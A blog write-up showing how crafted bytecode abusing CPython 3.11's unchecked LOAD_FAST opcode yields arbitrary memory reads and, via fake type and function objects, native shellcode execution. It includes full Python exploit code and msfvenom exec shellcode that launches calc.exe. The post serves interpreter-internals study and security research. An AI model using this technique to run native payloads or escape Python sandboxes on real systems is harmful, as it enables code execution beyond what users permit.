Pwning Python 3 VM via an intended feature (Disclaimer: Not a vulnerability)
A while ago, I read this article about abusing LOAD_CONST
in Python 2.7. We are in Python 3.11 now, and CPython has since implemented quite a lot more features and checks. I wanna try to abuse the Python 3 VM to similarly execute shellcode, but I wanna do so without crashing CPython.
Some things to note first:
LOAD_CONST
in Python 2, the bug I abused in LOAD_FAST
in Python 3 is known. It's even in the name! It's just way faster to leave that bug there.ctypes
module that allows you to do literally anything. But that's not fun at all.Since I wanna try this on the newest Python, I cloned CPython and built the x64 Debug and Release version of CPython. At the time of writing that version would be Python 3.11.0a0
. I'll also be doing all this in Windows.
So this post won't really make sense if not for some background about CPython. The way python interprets is by compiling a python script into Python bytecode. These bytecode are instructions which are executed by the Python VM.
A unique thing about Python bytecode is that unlike CPU bytecode, which is really low level, Python bytecode is really high level (surprise!). Everything that a Python bytecode instruction acts on is a PyObject
, which is everything in Python, including your str
, int
, list
, dict
, etc.
This makes Python bytecode really easy to read. E.g. A BINARY_ADD
instruction on two strings a
and b
will simply be a+b
, or the concatenation of a
and b
, exactly what you would expect in Python.
The bytecode is represented as a PyCodeObject
, and contains fields specific to the bytecode, such as co_const
, which contains the constants used in the bytecode. The CPython
source code provides some very useful documentation for the fields:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
// include/cpython/code.h:17
/* Bytecode object */
struct PyCodeObject {
PyObject_HEAD
int co_argcount; /* #arguments, except *args */
int co_posonlyargcount; /* #positional only arguments */
int co_kwonlyargcount; /* #keyword only arguments */
int co_nlocals; /* #local variables */
int co_stacksize; /* #entries needed for evaluation stack */
int co_flags; /* CO_..., see below */
int co_firstlineno; /* first source line number */
PyObject *co_code; /* instruction opcodes */
PyObject *co_consts; /* list (constants used) */
PyObject *co_names; /* list of strings (names used) */
PyObject *co_varnames; /* tuple of strings (local variable names) */
PyObject *co_freevars; /* tuple of strings (free variable names) */
PyObject *co_cellvars; /* tuple of strings (cell variable names) */
/* The rest aren't used in either hash or comparisons, except for co_name,
used in both. This is done to preserve the name and line number
for tracebacks and debuggers; otherwise, constant de-duplication
would collapse identical functions/lambdas defined on different lines.
*/
Py_ssize_t *co_cell2arg; /* Maps cell vars which are arguments. */
PyObject *co_filename; /* unicode (where it was loaded from) */
PyObject *co_name; /* unicode (name, for reference) */
PyObject *co_linetable; /* string (encoding addr<->lineno mapping) See
Objects/lnotab_notes.txt for details. */
PyObject *co_exceptiontable; /* Byte string encoding exception handling table */
void *co_zombieframe; /* for optimization only (see frameobject.c) */
PyObject *co_weakreflist; /* to support weakrefs to code objects */
/* Scratch space for extra data relating to the code object.
Type is a void* to keep the format private in codeobject.c to force
people to go through the proper APIs. */
void *co_extra;
/* Per opcodes just-in-time cache
*
* To reduce cache size, we use indirect mapping from opcode index to
* cache object:
* cache = co_opcache[co_opcache_map[next_instr - first_instr] - 1]
*/
// co_opcache_map is indexed by (next_instr - first_instr).
// * 0 means there is no cache for this opcode.
// * n > 0 means there is cache in co_opcache[n-1].
unsigned char *co_opcache_map;
_PyOpcache *co_opcache;
int co_opcache_flag; // used to determine when create a cache.
unsigned char co_opcache_size; // length of co_opcache.
};
However, Python bytecode requires a sort of context in which to execute. The bytecode executes with its own stack, constants, namespace and other variables that changes depending on where you are executing. Take for instance:
1
2
3
def f(a):
print(a)
print(a)
The variable a
in the function f
is defined while the one outside isn't. So how does Python deal with different execution context?
The answer is in frames. CPython creates frames to execute a chunk of bytecode in its context. Hence each frame would contain stuff like the stack, constants, namespace, etc that the bytecode uses.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// include/cpython/frameobject.h:22
struct _frame {
PyObject_VAR_HEAD
struct _frame *f_back; /* previous frame, or NULL */
PyCodeObject *f_code; /* code segment */
PyObject *f_builtins; /* builtin symbol table (PyDictObject) */
PyObject *f_globals; /* global symbol table (PyDictObject) */
PyObject *f_locals; /* local symbol table (any mapping) */
PyObject **f_valuestack; /* points after the last local */
PyObject *f_trace; /* Trace function */
/* Borrowed reference to a generator, or NULL */
PyObject *f_gen;
int f_stackdepth; /* Depth of value stack */
int f_lasti; /* Last instruction if called */
int f_lineno; /* Current line number. Only valid if non-zero */
PyFrameState f_state; /* What state the frame is in */
char f_trace_lines; /* Emit per-line trace events? */
char f_trace_opcodes; /* Emit per-opcode trace events? */
PyObject *f_localsplus[1]; /* locals+stack, dynamically sized */
};
This is important as the instruction I'm about to abuse, LOAD_FAST
, requires getting the address of _frame.f_localsplus
as you'll see later.
So far I've given a very high level overview of how Python interprets. If you would like to know more I highly recommend reading this amazing resource, and the article I linked to above, which steps through the bytecode in WinDbg.
So of course I didn't settle for abusing LOAD_FAST
immediately. I first looked at LOAD_CONST
and some other opcodes.
LOAD_CONST <idx>
loads a PyObject
from the constants (PyCodeObject.co_const
) onto the python VM stack. Meanwhile LOAD_FAST <idx>
, loads a PyObject
from the locals (_frame.f_localsplus
).
LOAD_CONST
was totally abusable in Python 2. However Python 3 decided to fix it.
Python 2:
1
2
3
4
5
6
7
8
9
10
#define PyTuple_GET_ITEM(op, i) (((PyTupleObject *)(op))->ob_item[i])
#define GETITEM(v, i) PyTuple_GET_ITEM((PyTupleObject *)(v), (i))
/* ... */
case LOAD_CONST:
x = GETITEM(consts, oparg);
Py_INCREF(x);
PUSH(x);
goto fast_next_opcode;
Python 3:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
PyObject *
PyTuple_GetItem(PyObject *op, Py_ssize_t i)
{
if (!PyTuple_Check(op)) {
PyErr_BadInternalCall();
return NULL;
}
if (i < 0 || i >= Py_SIZE(op)) {
PyErr_SetString(PyExc_IndexError, "tuple index out of range");
return NULL;
}
return ((PyTupleObject *)op) -> ob_item[i];
}
/* ... */
#define GETITEM(v, i) PyTuple_GetItem((v), (i))
/* ... */
case TARGET(LOAD_CONST): {
PREDICTED(LOAD_CONST);
PyObject *value = GETITEM(consts, oparg);
Py_INCREF(value);
PUSH(value);
DISPATCH();
}
As you can see, they changed direct array indexing in Python 2 to creating a proper PyTuple
for the constants and indexing it.
This means that LOAD_CONST
in Python 3 would actually check for out-of-bounds and handle it gracefully, returning the familiar IndexError: tuple index out of range
exception.
Since we control the value of oparg
, it would have been possible to index way out of bounds and read practically anything in memory in Python 2, which won't be possible in Python 3.
Having realised that, I then goofed around with some other opcodes and eventually went back to LOAD_FAST
, and true to it's name, it loads really quickly because it indexes an array directly:
Python 3:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#define GETLOCAL(i) (fastlocals[i])
/* ... */
case TARGET(LOAD_FAST): {
PyObject *value = GETLOCAL(oparg);
if (value == NULL) {
format_exc_check_arg(tstate, PyExc_UnboundLocalError,
UNBOUNDLOCAL_ERROR_MSG,
PyTuple_GetItem(co->co_varnames, oparg));
goto error;
}
Py_INCREF(value);
PUSH(value);
DISPATCH();
}
fastlocals
is actually the aforementioned _frame.f_localsplus
. It is specific to the frame and stores the local variables of said frame (surprise 2.0!). Since we again control the variable oparg
, we can easily index way beyond fastlocals
to anywhere we want in memory. Let's verify this quickly with a crash from indexing somewhere invalid in memory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Python 3.11.0a0
import opcode
import types
def inst(opc:str, arg:int=0):
"Makes life easier in writing python bytecode"
nb = max(1,-(-arg.bit_length()//8))
ab = arg.to_bytes(nb, 'big')
ext_arg = opcode.opmap['EXTENDED_ARG']
inst = bytearray()
for i in range(nb-1):
inst.append(ext_arg)
inst.append(ab[i])
inst.append(opcode.opmap[opc])
inst.append(ab[-1])
return bytes(inst)
crash_bytecode = b"".join([
inst('LOAD_FAST', 0xdeadbeef), # Index _somewhere_ in memory
inst('RETURN_VALUE')
])
def g(): pass
def assign_bytecode(bytecode):
global g
g.__code__ = types.CodeType(
0, # argcount
0, # posonlyargcount
0, # kwonlyargcount
20, # nlocals (big enough)
20, # stacksize (big enough)
0, # flags
bytecode, # codestring
(), # constants
(), # names
(), # varnames
"", # filename
"", # name
0, # firstlineno
b"", # linetable
b"", # exceptiontable
)
assign_bytecode(crash_bytecode)
g() # Crash!
Windbg logging the crash:
1
2
3
4
5
6
7
8
(5118.3268): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
python311!_PyEval_EvalFrameDefault+0x42c:
00007ff8`1b4f756c 498b44d668 mov rax,qword ptr [r14+rdx*8+68h] ds:000001c5`343c00e0=????????????????
0:000> ?rdx
Evaluate expression: -559038737 = ffffffff`deadbeef
LOAD_FAST
We first need to get the address of the frame at which the instruction LOAD_FAST <index>
is going to be ran. We can do this by calling sys._getframe()
which returns the current frame object, and then calling id
on it. CPython actually returns the pointer to the PyObject
when you call id
on it so that's very convenient.
1
2
3
4
5
6
7
8
>>> help(id)
Help on built-in function id in module builtins:
id(obj, /)
Return the identity of an object.
This is guaranteed to be unique among simultaneously existing objects.
(CPython uses the object's memory address.)
We need the address of the current executing frame so we actually know where we are indexing into, and we need the address of the same frame because the address of fastlocals
changes according to which frame we are in.
My first thought was to get the address of the frame, calculate the index we want in order to read a predefined memory location, modify a global PyBytesObject
object that contains the instruction LOAD_FAST <index>
and use the opcode JUMP_FORWARD
to jump way past the frame's code object into that global PyBytesObject
and continue executing from there. And viola! Everything happens in the same frame and the address of fastlocals
stays the same.
Then I realised you can actually replace the bytecode of the frame, without deallocating the frame, meaning its address stays the same!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
def g(): pass
def assign_bytecode(bytecode):
global g
g.__code__ = types.CodeType(
0, # argcount
0, # posonlyargcount
0, # kwonlyargcount
20, # nlocals (big enough)
20, # stacksize (big enough)
0, # flags
bytecode, # codestring
(id, sys._getframe), # constants
(), # names
('a',), # varnames
"", # filename
"", # name
0, # firstlineno
b"", # linetable
b"", # exceptiontable
)
# Runs `return id(sys._getframe())`
bytecode = b"".join([
# Get address of its frame and return
inst('LOAD_CONST', 0), # Load id
inst('LOAD_CONST', 1), # Load sys._getframe
inst('CALL_FUNCTION', 0),
inst('CALL_FUNCTION', 1),
inst('RETURN_VALUE')
])
assign_bytecode(bytecode)
print("Frame1 Address:", hex(frame_addr1 := g()))
assign_bytecode(inst('NOP')+bytecode) # Replace the bytecode of g
print("Frame2 Address:", hex(frame_addr2 := g()))
assert frame_addr1 == frame_addr2
# Output:
# > Frame1 Address: 0x151a34945f0
# > Frame2 Address: 0x151a34945f0
This means we can simply get the frame address, calculate the index we need outside of the frame, then replace the bytecode of the frame with the actual exploit LOAD_FAST <index>
. Which is so much easier!
To test this we'll try to access any PyObject
we want in memory. However, do note that _frame.f_localsplus
has type PyObject **
, which means that we want the memory we index into to be be a pointer to a PyObject
. We can do this by creating a PyBytesObject
to store the address of the PyObject
we wanna access, and make LOAD_FAST
access the data field (PyBytesObject.ob_sval
) of PyBytesObject
:
1
2
3
4
5
6
7
8
9
10
11
# Arbituary Object
arb_object = "Hello! ^-^"
# PyBytesObject that contains the address of `object`
PyBytesObject_arb_object_addr = id(arb_object).to_bytes(8, 'little')
# Offset of PyBytesObject.ob_sval
PyBytesObject_ob_sval_offset = 0x20
# Address to data of `object_addr_PyBytesObject`,
# which is equivalent to `&(&object)`
arb_object_ptr_ptr = id(PyBytesObject_arb_object_addr) + PyBytesObject_ob_sval_offset
We can then calculate the idx
for LOAD_CONST <idx>
to access object_ptr_ptr
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
# Runs `return id(sys._getframe())`
bytecode1 = b"".join([
# Get address of its frame and return
inst('LOAD_CONST', 0), # Load id
inst('LOAD_CONST', 1), # Load sys._getframe
inst('CALL_FUNCTION', 0),
inst('CALL_FUNCTION', 1),
inst('RETURN_VALUE')
])
# Returns *(fastlocals[idx])
bytecode2 = lambda idx: b"".join([
inst('LOAD_FAST', idx),
inst('RETURN_VALUE')
])
# Get frame address by loading bytecode1
assign_bytecode(bytecode1)
print("Frame1 Address:", hex(frame_addr := g()))
# Offset of _frame.f_localsplus
_frame_f_localsplus_offset = 0x68
# Calculate idx
# r14+rdx*8+68h --> arb_object_ptr_ptr =
# frame_addr + idx*8 + _frame_f_localsplus_offset
idx = (arb_object_ptr_ptr - _frame_f_localsplus_offset - frame_addr)//8
print("idx:", hex(idx))
assert 0 <= idx < (1<<32), "idx out of range!"
# Replace the bytecode of g to return *(fastlocals[idx])
assign_bytecode(bytecode2(idx))
# Attempt to return `arb_object`
print("arb_object:", g())
# Output
# > Frame1 Address: 0x1eb158945f0
# > idx: 0x640db
# > arb_object: Hello! ^-^
Success! We managed to access arb_object
from g()
via abusing LOAD_FAST
!
A caveat though, is that we can't access all memory (at least in 64 bit). oparg
is stored as a 4 bytes int
, which means that idx
cannot be more than 4 bytes. And it can't be negative either, so we can't index backwards.
This is a different story in 32-bit
Python though. Since the address space is 32 bits as well, we can overflow and effectively index backwards. If you're curious you should totally try that out.
Being able to index practically anywhere in memory and having CPython interprete it as a PyObject
, means that we could create a fake PyObject
in memory, controlling all the fields we want by adding the data anywhere we want and have LOAD_FAST
access it. What we are gonna do with this is to make CPython call any address we want, aka a call gadget.
Scrolling through the opcodes, DELETE_DEREF
makes for a really clean call gadget as there are minimal checks.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
void
_Py_Dealloc(PyObject *op)
{
destructor dealloc = Py_TYPE(op)->tp_dealloc;
#ifdef Py_TRACE_REFS
_Py_ForgetReference(op);
#endif
(*dealloc)(op); // <-- Hell yea
}
/* ... */
case TARGET(DELETE_DEREF): {
PyObject *cell = freevars[oparg];
PyObject *oldobj = PyCell_GET(cell);
if (oldobj != NULL) {
PyCell_SET(cell, NULL);
Py_DECREF(oldobj); // <-- Calls _Py_Dealloc
DISPATCH();
}
format_exc_unbound(tstate, co, oparg);
goto error;
}
All we have to do is create a fake PyObject
whose PyTypeObject.tp_dealloc
contains the address we want. It's really clean!
Though in the spirit of the original post, (and because I wanna return a PyFunctionObject
I can move around in regular python code and call anytime for aesthetic reasons), I'll be using CALL_FUNCTION
, which is quite a bit more involved.
So let's look at the source code to see which fields of the PyFunctionObject
need to be spoofed:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
#define Py_TYPE(ob) (_PyObject_CAST(ob)->ob_type)
/* ... */
int
PyCallable_Check(PyObject *x)
{
if (x == NULL)
return 0;
return Py_TYPE(x)->tp_call != NULL;
}
/* ... */
static inline vectorcallfunc
PyVectorcall_Function(PyObject *callable)
{
PyTypeObject *tp;
Py_ssize_t offset;
vectorcallfunc ptr;
assert(callable != NULL);
// vvv Our PyFunctionObject needs to have a PyTypeObject
tp = Py_TYPE(callable);
if (!PyType_HasFeature(tp, Py_TPFLAGS_HAVE_VECTORCALL)) {
return NULL;
}
// vvv Its PyTypeObject needs to have tp_call not null
assert(PyCallable_Check(callable));
// vvv callable+offset contains address of of function to run
offset = tp->tp_vectorcall_offset;
assert(offset > 0);
memcpy(&ptr, (char *) callable + offset, sizeof(ptr));
return ptr; // <-- ptr is the address CPython will call at.
}
/* ... */
static inline PyObject *
_PyObject_VectorcallTstate(PyThreadState *tstate, PyObject *callable,
PyObject *const *args, size_t nargsf,
PyObject *kwnames)
{
vectorcallfunc func;
PyObject *res;
assert(kwnames == NULL || PyTuple_Check(kwnames));
assert(args != NULL || PyVectorcall_NARGS(nargsf) == 0);
func = PyVectorcall_Function(callable);
if (func == NULL) { // <-- Don't care
/* ... */
}
res = func(callable, args, nargsf, kwnames); // <-- Our call gadget!!
// ^ note that `res` is a PyObject*
return _Py_CheckFunctionResult(tstate, callable, res, NULL);
}
/* ... */
static inline PyObject *
PyObject_Vectorcall(PyObject *callable, PyObject *const *args,
size_t nargsf, PyObject *kwnames)
{
PyThreadState *tstate = PyThreadState_Get();
return _PyObject_VectorcallTstate(tstate, callable,
args, nargsf, kwnames);
}
/* ... */
Py_LOCAL_INLINE(PyObject *) _Py_HOT_FUNCTION
call_function(PyThreadState *tstate,
PyTraceInfo *trace_info,
PyObject ***pp_stack,
Py_ssize_t oparg,
PyObject *kwnames)
{
PyObject **pfunc = (*pp_stack) - oparg - 1;
PyObject *func = *pfunc;
PyObject *x, *w;
Py_ssize_t nkwargs = (kwnames == NULL) ? 0 : PyTuple_GET_SIZE(kwnames);
Py_ssize_t nargs = oparg - nkwargs;
PyObject **stack = (*pp_stack) - nargs - nkwargs;
if (trace_info->cframe.use_tracing) { // <-- Don't care
/* ... */
}
else { // <-- Yes this is important
x = PyObject_Vectorcall(func, stack, nargs | PY_VECTORCALL_ARGUMENTS_OFFSET, kwnames);
}
assert((x != NULL) ^ (_PyErr_Occurred(tstate) != NULL));
/* Clear the stack of the function object. */
while ((*pp_stack) > pfunc) {
w = EXT_POP(*pp_stack);
Py_DECREF(w);
}
return x;
}
/* ... */
case TARGET(CALL_FUNCTION): {
PREDICTED(CALL_FUNCTION);
PyObject **sp, *res;
sp = stack_pointer;
res = call_function(tstate, &trace_info, &sp, oparg, NULL);
stack_pointer = sp;
PUSH(res);
if (res == NULL) {
goto error;
}
CHECK_EVAL_BREAKER();
DISPATCH();
}
I've put (and commented) the relevant source so you can figure out for urself but here's the summary:
Let PyObject *callable
be the pointer to our PyFunctionObject
and tp
be the PyObjectType*
, callable->ob_type
.
tp->tp_flags
to have Py_TPFLAGS_HAVE_VECTORCALL
bit set.tp->tp_call
to have to be non-zerotp->tp_vectorcall_offset + callable
is to contain the address of the shellcode.So creating the tp
:
1
2
3
4
5
6
7
8
9
# PyBytesObject.ob_sval offset, the offset to our actual bytes
PyBytesObject_ob_sval_offset = 0x20
fake_typeobject = bytearray(b'A'*0x190)
fake_typeobject[0x038:0x038+8] = (0x10).to_bytes(8, 'little') # tp_vectorcall_offset
fake_typeobject[0x080:0x080+8] = (0x1).to_bytes(8, 'little') # tp_call
fake_typeobject[0x0a8:0x0a8+8] = (0x800).to_bytes(8, 'little') # tp_flags
fake_typeobject = bytes(fake_typeobject)
fake_typeobject_addr = id(fake_typeobject) + PyBytesObject_ob_sval_offset
Creating callable
:
1
2
3
4
5
6
7
8
shellcode = b"\xCC Hello Success!!!" # <-- breakpoint (int 3)
shellcode_addr = id(shellcode) + PyBytesObject_ob_sval_offset
fake_callable = bytearray(b'a'*0x18)
fake_callable[0x008:0x008+8] = fake_typeobject_addr.to_bytes(8, 'little') # ob_type
fake_callable[0x010:0x010+8] = shellcode_addr.to_bytes(8, 'little') # shellcode
fake_callable = bytes(fake_callable)
fake_callable_addr = id(fake_callable) + PyBytesObject_ob_sval_offset
Abusing LOAD_FAST
to load fake_callable
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
control_data = fake_callable_addr.to_bytes(8,'little')
control_data_addr = id(control_data) + PyBytesObject_ob_sval_offset
# Runs `return id(sys._getframe())`
bytecode1 = b"".join([
# Get address of its frame and return
inst('LOAD_CONST', 0), # Load id
inst('LOAD_CONST', 1), # Load sys._getframe
inst('CALL_FUNCTION', 0),
inst('CALL_FUNCTION', 1),
inst('RETURN_VALUE')
])
# Returns *(fastlocals[idx])
bytecode2 = lambda idx: b"".join([
inst('LOAD_FAST', idx),
inst('RETURN_VALUE')
])
# Get frame address by loading bytecode1
assign_bytecode(bytecode1)
frame_addr = g()
print("frame addr:", hex(frame_addr))
# Offset of _frame.f_localsplus
_frame_f_localsplus_offset = 0x68
# offset + frame_addr + idx*ptr_size = addr
# idx = (addr - offset - frame_addr)//ptr_size
idx = (control_data_addr - _frame_f_localsplus_offset - frame_addr)//8
print("index:", hex(idx))
assign_bytecode(bytecode2(idx))
# Returns our call gadget
run = g()
# Run our call gadget
run()
Running it in WinDbg we get:
1
2
3
4
5
6
(5b78.4910): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
00000211`f8108290 cc int 3
0:000> da
00000211`f8108290 ". Hello Success!!!"
And success!! We made CPython jump to shellcode
!
You might notice that the error for the crash above is c0000005
and not 80000003
. This means that we are getting an Access violation
rather than a Break instruction exception
as expected when executing an int 3
instruction. This is because of page permissions:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
0:000> !address rip
Usage: <unknown>
Base Address: 00000211`f8070000
End Address: 00000211`f8170000
Region Size: 00000000`00100000 ( 1.000 MB)
State: 00001000 MEM_COMMIT
Protect: 00000004 PAGE_READWRITE // <-- No execute :(
Type: 00020000 MEM_PRIVATE
Allocation Base: 00000211`f8070000
Allocation Protect: 00000004 PAGE_READWRITE
Content source: 1 (target), length: 67d70
The page does not have execute permission. We can maybe find some fancy gadget to ROP our way out of this or smth but at this point I'm lazy so I just used ctypes
to change the page permissions. It's boring.
1
2
3
4
5
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
old = ctypes.c_long(1)
res = VirtualProtect(
ctypes.c_void_p(shellcode_addr),
len(shellcode), 0x40, ctypes.byref(old))
But it works!
1
2
3
4
(76e4.2b68): Break instruction exception - code 80000003 (first chance)
0000011c`74f882d0 cc int 3
0:000> da
0000011c`74f882d0 ". Hello Success!!!"
We're gonna try running shellcode that calls WinExec
to execute commands. I used msfvenom
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
> msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=none -f python
shellcode = b""
shellcode += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
shellcode += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
shellcode += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
shellcode += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
shellcode += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
shellcode += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
shellcode += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
shellcode += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
shellcode += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
shellcode += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
shellcode += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
shellcode += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
shellcode += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
shellcode += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
shellcode += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
shellcode += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
shellcode += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
shellcode += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41"
shellcode += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
shellcode += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
shellcode += b"\x00\x59\x41\x89\xda\xff\xd5"
shellcode += b"calc.exe\x00" # <-- The command!
Attempting to run that successfully opens calc.exe
but results in a crash in CPython:
1
2
3
4
5
6
(14b0.2714): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
000001e1`1696d51b 63616c movsxd esp,dword ptr [rcx+6Ch] ds:00000000`0000006c=????????
0:000> da
000001e1`1696d51b "calc.exe"
It attempted to run calc.exe
! Also remember how this shellcode should return a PyObject*
so that CPython doesn't crash? Furthermore, msfvenom shellcode destroys the stack and some important registers (The audacity!). Hence, to ensure it doesn't crash we'd need to:
PyObject
into rax
The calc.exe
also has to be moved forward to allow space for steps 4-8, so pointers in the shellcode also has to be patched. Here's what it looks like:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
retobj = "Success!! ^-^"
shellcode = b"".join([
b"\x48\x81\xec\x00\x10\x00\x00", # sub rsp,0x1000
b"\x50\x53\x51\x52\x55", # push rax, rbx, rcx, rdx, rbp
# msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=none -f python
# Modified to not crash the interpreter,
# at least until it finishes running this file.
b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41",
b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48",
b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f",
b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c",
b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52",
b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b",
b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0",
b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56",
b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9",
b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0",
b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58",
b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44",
b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0",
b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a",
b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48",
b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00",
b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x1f\x01\x00\x00\x41",
b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xaa\xc5\xe2\x5d\x41",
b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06",
b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a",
b"\x00\x59\x41\x89\xda\xff\xd5",
b"\x48\x81\xc4\x38\x00\x00\x00", # add rsp,0x38
b"\x5D\x5A\x59\x5B\x58", # pop rax, rbx, rcx, rdx, rbp
b"\x48\x81\xc4\x00\x10\x00\x00", # add rsp,0x1000
b"\x48\xb8" + id(retobj).to_bytes(8, 'little'), # mov rax, <retobj addr>
b"\xc3", # ret
b"calc.exe\x00",
])
# ...
# Returns our call gadget
run = g()
# Run our call gadget
print(run())
# Output:
# > Success!! ^-^
And it's done! If you want to see the full script to run the exploit, see here!
CPython actually crashes when the program ends in the garbage collector. And that's because our PyFuncObject
and its PyTypeObject
is so hopelessly malformed.
I would have had stuff to write here if I didn't procrastinate writing this article for a whole week.